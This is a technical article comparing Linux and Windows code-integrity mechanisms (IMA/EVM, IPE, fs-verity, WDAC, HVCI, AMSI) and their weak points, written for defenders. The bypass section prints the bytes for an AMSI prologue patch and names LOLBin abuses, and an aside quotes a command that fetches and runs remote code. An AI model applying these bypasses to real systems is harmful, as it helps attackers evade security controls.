Microsoft's HVCI documentation [@learn-microsoft-com-oem-vbs] frames the W^X invariant HVCI enforces on kernel pages: "memory integrity ... protects and hardens Windows by running kernel mode code integrity within the isolated virtual environment of VBS ... ensuring that kernel memory pages are only made executable after passing code integrity checks inside the secure runtime environment, and executable pages themselves are never writable." A kernel page can be writable or executable; never both at the same time. The split is enforced by the hypervisor."HVCI", "Memory Integrity", and "kernel-mode code integrity running in VBS" are the same mechanism. Microsoft's product-name churn here is unusually thick: the Windows Settings UI calls it Memory Integrity, the documentation page is titled "Enable virtualization-based protection of code integrity", the underlying capability is HVCI, and Microsoft also markets the same hardware-and-software bundle as "Secured-Core PC".

flowchart TD subgraph VTL0[VTL0: normal Windows kernel] P[User process] DRV[Driver load request] RK[Hypothetical rootkit with SYSTEM] K0[NT kernel] P --> K0 DRV --> K0 RK --> K0 end K0 -->|hypercall: verify driver| HV[Hypervisor] RK -.X.-> SK HV --> SK subgraph VTL1[VTL1: secure kernel] SK[Secure kernel] CI[Kernel-mode CI verifier] SK --> CI end CI -->|allow / deny| HV HV -->|result| K0

IPE (Linux 6.12, November 2024): property-based decisions

The most recent Linux pivot moves further still. Integrity Policy Enforcement [@docs-kernel-org-lsm-ipehtml], upstreamed in Linux 6.12 in November 2024 from a Microsoft-contributed patch series (source on GitHub [@github-com-microsoft-ipe]), does not hash files at all. Its kernel documentation is explicit: "Integrity Policy Enforcement (IPE) is a Linux Security Module that takes a complementary approach to access control. Unlike traditional access control mechanisms that rely on labels and paths for decision-making, IPE focuses on the immutable security properties inherent to system components." A policy rule looks like:

op=EXECUTE dmverity_signature=TRUE dmverity_roothash=sha256:<hex> action=ALLOW
op=EXECUTE fsverity_signature=TRUE action=ALLOW
op=EXECUTE action=DENY

The kernel is not asked "what is the SHA-256 of this file?" at op=EXECUTE time. It is asked "did this file come from a dm-verity device whose root hash matches one of our trusted signatures?" The verifier has nothing to compute per access; it has only to read a pre-computed property. The trust boundary has moved out to whoever signed the dm-verity image at build time.

fs-verity (Linux 5.4, November 2019): O(log n) per page

The cryptographic complement is fs-verity [@kernel-org-filesystems-fsverityhtml], upstreamed in Linux 5.4 in November 2019 by Eric Biggers and Theodore Ts'o at Google. The kernel docs describe the trick: "fs-verity is similar to dm-verity but works on files rather than block devices ... userspace can execute an ioctl that causes the filesystem to build a Merkle tree for the file and persist it to a filesystem-specific location ... Userspace can use another ioctl to retrieve the root hash ... in constant time, regardless of the file size."

The Merkle tree turns whole-file hashing into O(log n) verification per page read, with constant-time digest retrieval. Concretely, an APK or container layer with thousands of pages does not need a full hash on first open; the page cache verifies the leaves and intermediate Merkle nodes only for the pages actually touched. IMA can consume fs-verity's digest directly through the digest_type=verity modifier in its policy language.

The breakthrough was not a stronger check. It was moving the check out of the attacker's address space.

Each pivot moved the trust boundary outward in a different direction. EVM moved the integrity root from "xattr next to the file" to "HMAC-keyed xattr, key sealed to TPM PCRs". HVCI moved the kernel-mode verifier from "in the kernel the attacker can patch" to "in a secure kernel the attacker cannot reach without breaking the hypervisor". IPE moved the per-access decision from "recompute a file's hash" to "look up a precomputed property". Fs-verity collapsed the per-access cost from O(n) on the file to O(log n) on a Merkle path.

The crypto was already strong. The breakthrough was the geometry of where the verifier lived.

By 2020 both stacks looked dramatically different from their 2009 and 2015 originals. Here is what each one looks like today, side by side.

6. The stack today, side by side

Eleven moving parts. Here is how they line up.

Linux	Windows	Layer
IMA appraise + EVM	App Control (WDAC) UMCI	User-mode code integrity
Kernel module signing	App Control + HVCI driver enforcement	Kernel-mode code integrity
fs-verity + dm-verity	HVCI page-level W^X + signed catalogues	Page-level integrity
AppArmor / SELinux	(no direct analogue; closest is AppContainer / ASR)	Mandatory access control
fapolicyd	App Control + AppLocker	User-space allowlist
IPE	App Control (FilePath / hash rules)	Property-based code integrity
(no direct analogue)	AMSI	Script content scan
(no direct analogue)	Smart App Control + ISG	Cloud reputation

The mapping is not 1-to-1 in either direction. Linux composes; Windows consolidates. To compare meaningfully we have to look at each layer in turn.

6.1 Code-integrity enforcers: IMA + EVM vs WDAC vs IPE

Dimension	Linux IMA + EVM	WDAC (App Control)	IPE
Enforcement layer	VFS / LSM hook (file open, mmap, exec)	PE loader (kernel CI, user-mode CI)	LSM hook on `op=EXECUTE`
Identity primitive	File-content hash or `imasig` / `modsig` / `sigv3`	Authenticode chain, hash, FilePath, or ISG	dm-verity root hash / fs-verity digest
Policy expression	Procedural rules (`func=` / `mask=` / `fsmagic=`)	Signed XML compiled to binary `.p7b`	Signed plain-text DFA
Worst-case per-access	O(n) hash on first access; O(1) cached	O(1) cached; O(n) hash on cache miss	O(1) (properties precomputed)
Fail-closed mode	Yes (appraise)	Yes (enforced)	Yes
Remote-attestation friendly	Yes (TPM PCR 10)	Indirect (Measured Boot logs)	Indirect
Bypass arms race	Whole-disk swap (countered by EVM key sealing)	LOLBins (Microsoft block list + community LOLBAS)	Limited surface (DFA-only)

The IMA policy ABI [@kernel-org-testing-imapolicy] documents the full rule grammar: action [condition ...] where action is one of measure | dont_measure | appraise | dont_appraise | audit | dont_audit | hash | dont_hash, and conditions select on func=, mask=, fsmagic=, fsuuid=, uid=, fowner=, LSM-label predicates, and the all-important appraise_type= modifier that names the signature scheme. IMA template management [@docs-kernel-org-ima-templateshtml] controls what gets recorded per measurement-list entry; the two templates used in practice today are ima-ng (d-ng|n-ng: hash-algo-prefixed digest plus name) and ima-sigv2 (d-ngv2|n-ng|sig: versioned digest plus name plus signature).

WDAC's policy rule reference [@learn-microsoft-com-to-create] defines the rule kinds operators actually write: Publisher, PcaCertificate, LeafCertificate, FileName, Version, Hash (SHA-1, SHA-256, or SHA-384), FilePath (added in 1903 and explicitly weaker because a user with write access can substitute the file), Managed Installer, and Intelligent Security Graph. The compiled output is a signed binary .p7b CIPolicy.

The same doc records the default-on audit-mode behaviour that has surprised many operators: "We recommend that you use Enabled:Audit Mode initially because it allows you to test new App Control policies before you enforce them ... By default, only kernel-mode binaries are restricted. Enabling the following rule option validates user mode executables and scripts." The Enabled:UMCI flag is what flips a WDAC policy from kernel-only to full user-mode enforcement.

flowchart LR PE[PE load request] --> AC[Parse Authenticode signature] AC --> RM[Match rule set] RM --> P[Publisher / cert rule?] P -->|hit| AL[Allow] P -->|miss| H[Hash rule?] H -->|hit| AL H -->|miss| FP[FilePath rule?] FP -->|hit| AL FP -->|miss| MI[Managed Installer?] MI -->|hit| AL MI -->|miss| ISG[Intelligent Security Graph?] ISG -->|hit| AL ISG -->|miss| DEF[Default action] AL --> BL{"In bypass-list deny?"} BL -->|yes| BLK[Block] BL -->|no| LOAD[Loader continues] DEF --> BLK

6.2 Mandatory access control: AppArmor vs SELinux

Dimension	AppArmor	SELinux
Model	Path-based allowlist per binary	Type-enforcement on subject x object x class
Storage of policy state	In-memory DFA loaded from user space	`security.selinux` xattr + compiled `policy.31`
Granularity	Profile per executable	Per-type, per-class, per-operation
Survives file rename	No (path is the identity)	Yes (xattr travels with inode)
Default-on distros	Ubuntu, openSUSE, SLES	RHEL, Fedora, Oracle Linux, Android, ChromeOS
Authoring tools	`aa-genprof`, `aa-logprof`, `aa-enforce`	`audit2allow`, `semodule`, refpolicy, `udica`

AppArmor's kernel documentation [@docs-kernel-org-lsm-apparmorhtml] describes the model directly: "AppArmor is MAC style security extension for the Linux kernel. It implements a task centered policy, with task 'profiles' being created and loaded from user space." A profile reads like a rule file rather than a label algebra:

/usr/sbin/nginx {
  capability net_bind_service,
  /etc/nginx/** r,
  /var/log/nginx/* w,
  /var/www/** r,
  network inet stream,
}

The kernel compiles each profile to a DFA at load time, so policy lookup is O(L) in path length. SELinux's compiled policy uses a hash-table query against compiled type-enforcement rules with an in-memory access-vector cache for O(1) hot decisions. Both are practical; they differ on which model fits the way an administrator thinks. AppArmor wins on auditability and quick authoring; SELinux wins on expressiveness and on what the Wikipedia summary [@en-wikipedia-org-security-enhancedlinux] calls Mandatory Access Control for multi-level security. Smack [@schaufler-ca-com] is a third in-tree LSM, simpler than SELinux, used heavily by Tizen.

Red Hat's `fapolicyd` is the answer for operators who want App Control-style allowlisting without rebuilding the kernel. Trust is inherited from the RPM database; the daemon sits on the kernel's `fanotify` permission channel and answers ALLOW or DENY on every `open` and `exec`. Per the RHEL hardening guide [@access-redhat-com-fapolicydsecurity-hardening], rule files in `/etc/fapolicyd/rules.d/` are concatenated in lexicographic order into `compiled.rules`. The Red Hat-shipped numbered prefixes are 10 (language interpreters), 20 (dracut), 21 (updaters), 30 (patterns), 40/41/42 (ELF), 70 (trusted languages), 72 (shell), 90 (deny-execute), 95 (allow-open). First-match-wins evaluation means operators adding custom rules must give their file a number lower than 90 to ensure their `allow` is reached before the catch-all deny.

6.3 Hypervisor-anchored CI: HVCI

HVCI's runtime cost is dominated by the hypercall round-trip from VTL0 to VTL1 on driver load and on each executable-page allocation. Steady-state overhead is small on hardware with the right capabilities.

Microsoft's HVCI documentation [@learn-microsoft-com-code-integrity] names the dependency: "Memory integrity works better with Intel Kabylake and higher processors with Mode-Based Execution Control, and AMD Zen 2 and higher processors with Guest Mode Execute Trap capabilities. Older processors rely on an emulation of these features, called Restricted User Mode, and will have a bigger impact on performance." Practitioner-visible rule of thumb: less than 5 percent overhead on MBEC/GMET-capable silicon, 10 to 20 percent on kernel-bound workloads when the CPU has to emulate.

HVCI hardware prerequisites per the OEM VBS guidance [@learn-microsoft-com-oem-vbs]: 64-bit CPU with virtualization extensions (VT-x or AMD-V), second-level address translation (EPT or RVI), an IOMMU (VT-d or AMD-Vi), TPM 2.0, UEFI MAT, Secure MOR v2, and ideally MBEC (Intel) or GMET (AMD).

6.4 Script-level inspection: AMSI vs Linux's gap

Dimension	AMSI	Linux IMA on scripts
What it sees	Deobfuscated script buffer at execution time	Whole-file content at `open` or `mmap`
Coverage	PowerShell, WSH, VBA, JScript, MSHTA, UAC installers, .NET, Edge	Any file whose `func=FILE_CHECK` rule matches
Provider model	COM `IAntimalwareProvider` per process	None; kernel verifies signature directly
Defends against runtime obfuscation	Yes (sees final buffer)	No (sees file as written)
Trust boundary	Wrong (in-process; patchable by attacker)	Right (kernel-side; attacker cannot patch)

The asymmetry is the point. AMSI sees what the interpreter is about to evaluate; IMA sees only what is on disk. AMSI catches in-memory PowerShell payloads, Office macros that decode themselves at runtime, and Invoke-Expression evaluations that never touched the filesystem. IMA's hash is final at file write time and tells you exactly nothing about what bash -c "$(curl evil)" will execute.

The reduced PowerShell language mode App Control forces on systems with UMCI enabled. It blocks reflection (the `[System.Reflection]` namespace), dynamic-type creation, and arbitrary .NET API calls. It is the runtime-side complement to App Control: even if a script gets in, its evaluation surface is dramatically reduced. This is also what makes the `amsiInitFailed` flag-flip bypass non-trivial under modern App Control: the reflection needed to set the flag is blocked.

6.5 Cloud reputation: Smart App Control

Smart App Control [@learn-microsoft-com-business-appcontrol] ships as a pre-baked WDAC policy bundled with Windows 11 22H2 and later. The App Control overview describes it as the consumer-facing entry point introduced in Windows 11 version 22H2 to bring application control to home users. On every fresh install SAC starts in evaluation mode for 48 hours. Microsoft's cloud reputation service silently observes the user's app inventory; on enterprise-managed devices SAC auto-disables at the end of the window unless the user explicitly opts in. Once disabled by user, policy, or the auto-disable rule, it can only be re-enabled by performing a clean install of Windows. A Settings > Reset This PC is not sufficient.

Three quirks operators must understand. First, evaluation lasts 48 hours and is silent. Second, enterprise-managed (Intune, AAD-joined, GPO-managed) devices auto-disable at evaluation end. Third, disable is one-way: there is no "restart evaluation" path. The intended deployment model is that enterprises use full App Control with a managed-installer policy, not SAC. Consumers with a small app footprint and no IT team get a cloud-driven allowlist for free; everyone else is expected to author a policy.

Note: Once Smart App Control is off on a device, it can only be re-enabled by performing a clean install of Windows. A Settings > Reset This PC does not re-enable SAC. Treat enabling SAC as a deployment decision, not a casual toggle.

6.6 fs-verity as the per-file Merkle layer

For the data-at-rest performance story, fs-verity's ioctl(FS_IOC_ENABLE_VERITY) builds the Merkle tree, persists it next to the file, and switches the file to read-only. FS_IOC_MEASURE_VERITY returns the digest in constant time. IMA's policy language gained appraise_type=sigv3 and the digest_type=verity modifier so a rule like

appraise func=BPRM_CHECK fsmagic=0xef53 appraise_type=sigv3 digest_type=verity

asks the filesystem for the file's fs-verity digest (O(1)) and verifies the kernel-stored signature over that digest, rather than re-hashing the file even on first access. Supported on ext4, f2fs, and btrfs.

Eleven mechanisms, two architectures, one shared shape: an allowlist of trusted producers plus a hook that can refuse to honour anything outside it. The allowlist of producers is the deepest common assumption, and it is also where the next class of attacks lives.

7. Bypass arms races

Every code-integrity system on the market is in a continuous fight with the bypass it shipped with. The fights tell you what each architecture got wrong.

The AMSI bypass family

The three single-shot techniques from Section 4 -- prologue patch, amsiInitFailed flag flip, library unload -- have all been answered by partial mitigations. Microsoft has hardened AMSI provider loading [@learn-microsoft-com-interface-portal] to require Authenticode-signed provider DLLs from Windows 10 1903 onward. Defender ships ETW-based detection that flags in-memory patches to amsi.dll. Constrained Language Mode (forced by App Control) blocks the reflection needed to flip AmsiUtils.amsiInitFailed. None of these closes the structural problem. AMSI is by design a function call inside the script host. As long as the host process is the trust boundary, the attacker who reaches the host process wins.

The trust boundary is wrong: the host process making the AMSI call is the same process the attacker is running in. The simplest in-memory patch overwrites `AmsiScanBuffer`'s prologue with a six-byte sequence that loads `AMSI_RESULT_CLEAN` (0) into EAX and returns:

xor eax, eax    ; 31 C0
ret             ; C3

or, depending on the calling convention the patcher targets:

mov eax, 0x80070057   ; B8 57 00 07 80   (HRESULT E_INVALIDARG)
ret                   ; C3

Both variants are detected by modern Defender via the ETW patch detection, but neither requires kernel privileges or a syscall to apply.

The WDAC LOLBin arms race

Microsoft's App Control bypass list [@learn-microsoft-com-bypass-appcontrol] is a maintained document that any non-trivial WDAC policy must merge into its deny rules. The 40-plus entries include mshta.exe, wscript.exe, cscript.exe, msbuild.exe, Microsoft.Build.dll, windbg.exe, cdb.exe, kd.exe, dotnet.exe, csi.exe, rcsi.exe, addinprocess.exe, addinutil.exe, aspnet_compiler.exe, bash.exe, wsl.exe, runscripthelper.exe, system.management.automation.dll, and webclnt.dll / davsvc.dll. The community LOLBAS index [@lolbas-project-github-io] widens the field to roughly 200 entries with MITRE ATT&CK technique IDs.

Tooling (the WDAC Wizard, AaronLocker, Microsoft's ConfigCI PowerShell module, CiTool.exe) automates merging the deny set into a base policy and onto Intune. The asymmetry is the bottom line: trust granted at signer granularity, exploitation at binary granularity. The deny list is not a fix; it is a treadmill.

A trusted binary, often shipped by the OS vendor and signed by the vendor's code-signing certificate, that an attacker re-purposes to bypass an allowlist or to perform actions that would be blocked if attempted with non-vendor tooling. Examples on Windows: `mshta.exe` to evaluate HTA scripts, `regsvr32.exe` to execute a remote scriptlet, `installutil.exe` to run code via a designed-for-development assembly loader.

fapolicyd permissive-window

This is not a cryptographic bypass; it is the architectural choice (userspace daemon over fanotify) showing its operational seam. A privileged operator who sets permissive=1 to debug a noisy rule and forgets to revert has silently disabled enforcement. If the daemon dies under load or after a bad rule deploy, the kernel waits for the fanotify response timeout and then fails open. There is no failsafe equivalent of HVCI's "the verifier is in another address space" guarantee.

IMA / EVM offline-key attacks

EVM is only as strong as its key custody. If the HMAC key is loaded from a file on disk (the worst-case configuration), an attacker with root on a running system can read it, then perform the offline-rewrite attack of Section 4 with a valid security.evm HMAC. TPM-sealed keys close this path on hardware that supports sealing; some installations skip the seal step "until we add a TPM" and never do. Asymmetric (EVM portable signatures) mode avoids on-box key custody but requires a per-package signing pipeline most distributions have not built.

The cross-stack symmetry

Both lineages obey two architectural rules, and both have at least one place where they break each rule:

Bypass class	Linux instance	Windows instance	Root cause	Partial mitigation
Verifier shares address space with attacker	(script interpreters; no in-kernel interpreter scanner)	AMSI prologue patch, `amsiInitFailed` flag flip	Software-only protection of an in-process secret is impossible	ETW patch detection, signed providers, Constrained Language Mode
Trust grant coarser than exploit unit	RPM trust pre-fapolicyd integrity-mode addition	WDAC Publisher rules + LOLBins	Trust algebra cannot express "Microsoft except mshta" with one rule	Hash-level denies, growing block list
Reference value reachable by attacker	IMA without EVM	(HVCI moved the kernel verifier out of reach)	Reference value next to the file under attacker control	EVM HMAC sealed to TPM PCR
Verifier is killable	fapolicyd daemon failure	(HVCI verifier is hypervisor-isolated)	Verifier liveness is part of the trust assumption	TPM-sealed boot policy + kernel-mode fallback

The first row is the most uncomfortable for both stacks. Linux does not have an AMSI-equivalent in production, so there is no in-kernel hook that sees the buffer an interpreter is about to evaluate; the boundary is not "wrong", it simply does not exist. Windows has the hook and has paid for the consequences of putting it in the wrong place for ten years. Neither result is good.

The lesson from both rows of pivots is consistent: when an architecture is forced to put the verifier somewhere reachable, treat its output as telemetry rather than control, and budget for the bypass.

These are not implementation bugs. They are structural features of the architectures, and to understand why, we have to look at what computer science says is and is not possible.

8. What the theory says

Three impossibility results bound everything in this article. Two are decades old; the third is a property of how modern interpreted languages execute.

Rice's theorem

Rice's 1953 theorem says that any non-trivial semantic property of an arbitrary program is undecidable from the program text alone. Applied to malware: there is no algorithm that takes a binary as input and returns "malicious" or "benign" in finite time for every input.

Every code-integrity stack on the market therefore reduces to the same shape: an allowlist of producers (signers, hashes, dm-verity roots) the operator chooses to trust, plus a hook that refuses to honour anything outside the allowlist. Defender, ClamAV, the AMSI scanner -- all the things we call "malware detectors" -- are heuristic add-ons running on top of an allowlist substrate, and they are explicitly fallible. They have to be.

No software-only protection of an in-process secret

The second result is operational, not formal, but it is no less binding. If process P holds a secret S, and process P also evaluates code C the attacker chose, then no purely software-side technique inside P can keep C from reading or rewriting S.

AMSI's design violates this: the scanner is a function call inside the script host, and the attacker is running code in the script host. HVCI's entire architecture exists to relocate the kernel-mode code-integrity verifier out of the host's address space, into a secure kernel the attacker cannot reach with normal kernel privileges. EVM's design likewise moves the integrity-defining key into a kernel keyring sealed to TPM PCRs so an offline attacker with disk access cannot reach it.

No verification of dynamically generated executable code

The third result is the gap on both operating systems. JIT-compiled code (V8, JVM, CLR), libffi closures, and anonymous mmap followed by mprotect(PROT_EXEC) all produce executable bytes that did not exist on disk and were never hashed.

The IPE documentation [@docs-kernel-org-lsm-ipehtml] lists this as an explicit limitation: a property-based check on the file the JIT compiled does not authenticate the bytes the JIT emitted. WDAC's User-Mode Code Integrity has the same gap for managed runtimes that emit IL at runtime. There is no production answer on either side; there are only mitigations: disable JITs where possible, run them in restricted runtimes (Constrained Language Mode), block the trampolines.The JIT gap is one reason both stacks ship "Constrained Language Mode"-style restricted-runtime options. PowerShell's Constrained Language Mode blocks reflection and dynamic-type creation; the JVM's --module-path and module-system encapsulation play a similar role for hosted Java code; the CLR's AppContainer and the .NET Core trim modes lean the same way. None of these "verify" the JIT output; they restrict what the runtime is willing to emit.

Cryptographic bounds

The cryptographic side, by contrast, is closed.

Any preimage-resistant hash needs $\Omega(n)$ work on the data being hashed. You cannot verify a file you do not read.
A Merkle tree with leaf size $k$ over a file of size $n$ reduces this to $O(\log(n/k))$ per partial read. The classic Merkle 1979 construction underlies dm-verity, fs-verity, and the Android APK Signature Scheme v4. fs-verity matches this lower bound.
Whole-file SHA-256 on modern x86 with SHA-NI runs at roughly $2 \text{ GB/s}$ per core; SHA-512 at $\sim 1.4 \text{ GB/s}$. A 100 MB binary verifies in roughly $50 \text{ ms}$ worst-case and $0 \text{ ms}$ cached. RSA-2048 and Ed25519 signature verification both finish in well under a millisecond on modern hardware (tens to a few hundred microseconds depending on CPU and library); verify cost is not the bottleneck.

So on the crypto side the gap between upper and lower bounds is closed. On the policy-expressiveness side there is no "best" policy because the right policy depends on threat model. There is no Pareto frontier; there are only trade-offs.

Bound	What it says	Mechanism that matches it	Remaining gap
Rice's theorem	"Is this binary malicious?" is undecidable	Every CI stack is an allowlist + signer model	Allowlist composition is itself a policy problem
In-process secret	No purely-software defence inside the attacker's address space	HVCI moves verifier to VTL1; EVM key in keyring sealed to TPM	AMSI design violates this; the gap is structural
Hash verification	$\Omega(n)$ per full read; $O(\log n)$ per partial read	fs-verity per page; IMA cached on `i_iversion`	Cold-cache cost remains O(n) for non-fs-verity files
JIT and dynamic code	No way to verify code that did not exist on disk	None	Restricted-runtime modes (CLM, AppContainer) are the best partial answer
Asymmetric verify	About 60-300 us per RSA-2048 or Ed25519 verify on modern x86	Authenticode catalogues amortise; IMA caches in inode	Cold cache is the only sensitive case

Key idea: Crypto is closed. Policy expressiveness and trust-boundary protection are theoretically unsolvable in general. Every stack is an allowlist plus a trusted-signer model, never a malware detector. The wall is theoretical, not engineering.

If the theory says we cannot win, what is research targeting in 2026?

9. Open frontiers

Three problems define the 2026 research front. All are being worked on upstream. None will dissolve the theoretical bounds of Section 8.

Linux integrity at distribution scale: the Integrity Digest Cache

IMA appraisal has a scale problem. On a general-purpose Linux distribution where every file is RPM-signed, asking IMA to verify a per-file imasig signature on every open is expensive.

Roberto Sassu (Huawei Cloud) proposed a fix as the digest_cache LSM in version 3 of the patchset, posted in February 2024 [@lore-kernel-org-1-robertosassuhuaweicloudcom] and covered on LWN [@lwn-net-articles-961591]. The v3 cover letter is concrete: "Preliminary tests have shown a speedup of IMA appraisal of about 65% for sequential read, and 45% for parallel read." The design extracts pre-computed reference digests from vendor-signed digest lists (RPM headers, kernel TLV digest-list format, third-party formats via loadable parsers) and exposes a digest_cache_lookup() primitive that integrity providers (IMA, IPE, BPF LSM) call instead of verifying per-file signatures.

By v6 in November 2024 [@lore-kernel-org-1-robertosassuhuaweicloudcom-2] the work had been retitled "Introduce the Integrity Digest Cache" and pivoted from a standalone LSM into an integrity-subsystem helper, in response to maintainer feedback. The v6 cover letter quantifies the baseline the design attacks: IMA measurement "introduces a noticeable overhead (up to 10x slower in a microbenchmark) on frequently used system calls, like the open()." Discussion continues on the linux-integrity list [@lore-kernel-org-linux-integrity]; memory safety of the TLV parser was verified with the Frama-C [@frama-c-com] static analyser. As of late 2024 the work is not yet upstream.

Preliminary tests have shown a speedup of IMA appraisal of about 65% for sequential read, and 45% for parallel read. -- Roberto Sassu, digest_cache LSM v3 cover letter, February 2024

The important framing correction: the Integrity Digest Cache is not a Linux AMSI equivalent. AMSI is an interpreter-side scanner of the deobfuscated, about-to-execute script buffer. The Integrity Digest Cache is a file-content digest delivery mechanism that closes the same gap IMA already closes, but more efficiently and at distribution scale. The Linux script-content gap remains genuinely open.

Out-of-process AMSI broker

The conjectural fix on the Windows side is an out-of-process AMSI broker: every AmsiScanBuffer call IPCs to a service running outside the script host's address space. The in-process bypass family disappears because the attacker is no longer in the same process as the scanner. The cost is a context switch and serialisation overhead per script eval.

Microsoft has layered partial mitigations -- signed AMSI provider DLLs from 1903, ETW patch detection in Defender, Constrained Language Mode under App Control -- but no full out-of-process redesign exists. Whether it ever will is a function of how willing Microsoft is to pay the latency cost on hot PowerShell loops.

Cross-OS attestation

A verifier validating evidence from a mixed Linux + Windows fleet today must speak two languages at once. IMA's measurement-log format (ima_template_fmt) and Windows Measured Boot's WBCL [@trustedcomputinggroup-org-log-format] both target TPM PCRs but encode events differently.

Confidential-computing efforts (Intel TDX, AMD SEV-SNP) are pushing toward a common report/quote primitive at the platform layer, and the TCG Canonical Event Log Format aims at a portable per-entry representation. Workload-level integrity proofs remain stack-specific. The two operating systems do not yet speak a common attestation language.

Problem	Current best partial result	Upstream status
IMA appraisal scale on RPM-signed distros	Integrity Digest Cache, 45-65% appraisal speedup	Patchset v6 (Nov 2024); not upstream
AMSI in-process trust boundary	Signed provider DLLs, ETW patch detection, CLM	Partial; structural fix would be OOP broker
Linux script-content scanning	Nothing in production	Open
Cross-OS attestation interop	TCG CEL, TDX/SEV-SNP quotes	Platform-layer; workload-level still split
WDAC LOLBin treadmill	Microsoft block list + LOLBAS + WDAC Wizard	Operational; structural fix unknown

Each of these will probably ship in the 2026-2028 window. None of them dissolves the theoretical bounds of Section 8. The job for a defender in 2026 is therefore operational, not technological.

10. Practitioner decision guide

Eight common deployment scenarios. Eight concrete answers.

If you need...	On Linux, use...	On Windows, use...
TPM-backed remote attestation	IMA + EVM (TPM PCR 10)	Measured Boot + TPM PCR 11 + HVCI
Block unsigned drivers	`module.sig_enforce=1` plus kernel module signing	HVCI (Memory Integrity)
Cryptographic allowlist of installed software	fapolicyd (RPM/DEB trust)	App Control with Publisher rules
Per-app sandbox	AppArmor or SELinux	AppContainer or App Control (no direct equivalent)
Catch in-memory PowerShell payloads	(no direct equivalent)	AMSI
Consumer-grade reputation gating	(no direct equivalent)	Smart App Control
Immutable appliance image	dm-verity + IPE	App Control with hash rules + HVCI
Large APK-style assets verified lazily	fs-verity	(no direct equivalent)

The why behind each row.

TPM-backed attestation. On Linux, IMA's measurement mode extends file hashes into PCR 10 and ships the measurement log to a remote verifier (Keylime, Veraison). On Windows it means consuming the Measured Boot event log a Windows kernel emits while VBS+HVCI is enabled. Both stacks target the same root of trust (the TPM) but speak different event formats.

Blocking unsigned drivers. Linux uses a built-in kernel module signing flag. Windows needs HVCI, because the kernel-mode CI check runs in VTL1 and any policy weakening attempted from VTL0 with SYSTEM cannot reach it.

Application allowlisting on general-purpose distributions. This is fapolicyd's wheelhouse: it inherits trust from the RPM/DEB database, which is the only place a general-purpose distro has a clean "trusted" list. On Windows, App Control with publisher rules plus a managed-installer policy is the equivalent.

Per-app sandboxing. Clean Linux story (AppArmor or SELinux per binary). On Windows it is the gap App Control was never quite designed to fill; AppContainer or Microsoft Defender Attack Surface Reduction rules are the substitutes.

In-memory PowerShell payloads. AMSI's use case. Linux has nothing equivalent in production.

Consumer reputation gating. Smart App Control's use case. Linux distros have nothing equivalent because the distribution-package model already plays that role.

Immutable appliance images. Dm-verity plus IPE on Linux. App Control hash rules plus HVCI on Windows.

Large lazy-loaded assets. Fs-verity territory; Windows has no public equivalent.

Common implementation pitfalls

Distilled from the same shape: every stack has a default that surprises operators.

IMA without EVM and without a TPM-sealed key is decorative. Hashing files into an xattr the attacker can rewrite buys you nothing against offline access. EVM is mandatory; the EVM key must be sealed.
AppArmor profiles authored in complain mode never get promoted to enforce. Schedule a config-management pass that runs aa-enforce on the profiles you actually want to confine.
SELinux setenforce 0 for debugging that becomes permanent. The /.autorelabel flag is required after restoring contexts; track that you flipped it.
fapolicyd permissive-mode lapses. Set up alerting on permissive=1 in the runtime configuration; treat the daemon's exit status as a security event.
WDAC's Enabled:Audit Mode policy-rule option is on by default. Policies silently do not enforce until you remove it. Add a deployment check that asserts audit mode is off before declaring rollout complete.
HVCI without a driver-compatibility check. Microsoft's DG_Readiness_Tool and the HVCI compatibility report belong in every pilot. Vendors that allocate RWX kernel pages will fail HVCI loading and leave the host unbootable.
Treating AMSI as a control. It is telemetry. Budget for the bypass on day one.
Smart App Control disable is one-way. A single mis-click ends the consumer reputation gate until the device is reset. Make sure the user understands this before they tap the toggle.

Note: On Linux: enable IMA in measure mode before appraise; deploy AppArmor / SELinux profiles in complain / permissive before enforce; run fapolicyd with permissive=1 for the first deploy. On Windows: leave WDAC's Enabled:Audit Mode set during the first rollout and use the event log to identify the policy gaps before flipping to enforced. Audit mode is the only safe way to discover that the policy is wrong before it locks you out of production.

Note: A bare IMA appraisal policy without an HMAC-keyed EVM (and without the key sealed to a TPM 2.0 PCR set) does not stop an offline attacker. If you do not have TPM-sealed key custody and signed-xattr xattrs, IMA appraisal is mostly a check-box. fapolicyd with integrity=ima may be a saner starting point on machines without TPM.

Usually no, unless your distribution signs every system file (most do not for `imasig` in production) and you have a TPM-sealed EVM key. For general-purpose servers, fapolicyd with RPM-database trust is usually the right answer; it inherits trust from packages you already trust and does not require kernel-side signature infrastructure. Reserve IMA appraise for appliance / fixed-function builds, embedded distros, or fleets with a signed-package pipeline. Path-based reasoning maps to how administrators think about confinement: "this binary may read /etc/nginx, may write /var/log/nginx, may bind a network socket." SELinux's type-enforcement model is more expressive (it lets a single rule cover an entire class of objects across paths and bind mounts), but it requires the administrator to think in compiled-policy terms. Both are correct; pick the one whose mental model matches your team. The right answer on Ubuntu and SUSE is almost always AppArmor; the right answer on RHEL and Android is almost always SELinux. No. Microsoft's block list [@learn-microsoft-com-bypass-appcontrol] grows whenever a new signed binary turns out to host an attacker-friendly evaluator. Treat WDAC as defence-in-depth, layered with HVCI and AMSI-as-telemetry, not as a single-point allowlist. The WDAC Wizard and AaronLocker projects automate keeping the deny set current; even with them, expect the deny set to evolve every quarter. Yes. Enable it, but configure it as a telemetry source feeding Defender for Endpoint and any EDR pipeline you operate. The bypass family of Section 7 is real, but the un-bypassed case still catches the long tail of script-based attacks that do not bother defeating AMSI, and the bypass attempt itself is highly detectable (in-memory patch ETW events). Treat AMSI alerts as detective controls, not preventive controls. On CPUs with Intel MBEC (Kaby Lake or newer) or AMD GMET (Zen 2 or newer) [@learn-microsoft-com-oem-vbs], the steady-state overhead is generally under 5 percent. On older CPUs that rely on the Restricted User Mode emulation path, kernel-bound workloads can see 10 to 20 percent regressions. Run your specific kernel-bound benchmarks on the actual hardware before enabling on a fleet with a mixed CPU generation; "free" is a Kaby Lake-and-newer claim. Usually no. SAC auto-disables on enterprise-managed devices (Intune-enrolled, Azure AD-joined, or under Group Policy management) at the end of the 48-hour evaluation window unless the user explicitly opts in. The intended deployment model is that enterprises use full App Control with a managed-installer policy, not SAC. If SAC has already auto-disabled and you actually want it on, the only path to re-enable is a clean install of Windows. A Settings > Reset This PC does not bring it back.

The two architectures answer the same question with different trade-offs. A practitioner in 2026 needs both maps, because the bypass that breaks the Linux side rarely looks like the bypass that breaks the Windows side, and the mitigation that fixes one is rarely the mitigation that fixes the other.

What stays constant is the lesson the two lineages converged on over fifteen years: the trust boundary is the architecture. Move the verifier out of reach. Allowlist the producers. Treat the things that cannot be moved as telemetry, not as control. None of that closes Rice's wall, but all of it pushes the actual exploitable surface back another mile, on both operating systems.